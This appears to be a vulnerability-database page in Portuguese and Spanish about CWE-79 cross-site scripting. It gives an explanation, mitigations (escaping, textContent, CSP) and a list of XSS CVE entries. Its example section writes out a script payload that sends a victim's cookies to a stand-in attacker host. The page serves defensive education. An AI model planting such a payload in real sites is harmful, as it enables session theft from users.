Fallos del tipo CWE-79

30.302 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-21572MEDIUMOpenGrok 1.13.25 has a reflected Cross-Site Scripting (XSS) issue when producing the history view page. This happens through improper handliEPSS 0.3%CVE-2026-0916MEDIUMRelated Posts by Taxonomy <= 2.7.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'related_posts_by_tax' ShortcodeEPSS 0.3%CVE-2025-69343MEDIUMWordPress Theater for WordPress plugin <= 0.19 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-69321HIGHWordPress Grand Spa theme <= 3.5.5 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2022-50969MEDIUMuBidAuction 2.0.1 mailingLog manage Reflected XSSEPSS 0.3%CVE-2025-31500HIGHBest Practical RT (Request Tracker) 5.0 through 5.0.7 allows XSS via JavaScript injection in an Asset name.EPSS 0.3%CVE-2022-50967MEDIUMuBidAuction 2.0.1 tickets manage Reflected XSSEPSS 0.3%CVE-2025-69102HIGHWordPress WP Test Email plugin <= 1.1.7 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-53579CRITICALTrilium: Note Import to RCE via Book NoteEPSS 0.3%CVE-2024-1161MEDIUMBrizy – Page Builder <= 2.4.43 - Authenticated (Contributor+) Stored Cross-Site Scripting via Custom AttributesEPSS 0.3%CVE-2025-59838LOWMonkeytype Vulnerable to Self-XSS on loading saved custom textEPSS 0.3%CVE-2025-14114MEDIUM1180px Shortcodes <= 1.1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'class' Shortcode AttributeEPSS 0.3%CVE-2025-60916MEDIUMA reflected cross-site scripting (XSS) vulnerability in the /overview/network/ endpoint of Austrian Archaeological Institute Openatlas beforEPSS 0.3%CVE-2026-1889MEDIUMOutgrow <= 2.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'outgrow' Shortcode 'id' AttributeEPSS 0.3%CVE-2025-22725HIGHWordPress WP Virtual Assistant plugin <= 3.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2022-50964MEDIUMuBidAuction 2.0.1 myAuctions loose Reflected XSSEPSS 0.3%CVE-2022-50962MEDIUMuBidAuction 2.0.1 myOrders Reflected XSSEPSS 0.3%CVE-2026-65545HIGHWordPress AI Engine plugin <= 3.6.8 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-66629HIGHWordPress Kirki plugin <= 6.2.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-1454HIGHResponsive Contact Form Builder & Lead Generation Plugin <= 2.0.1 - Unauthenticated Stored Cross-Site ScriptingEPSS 0.3%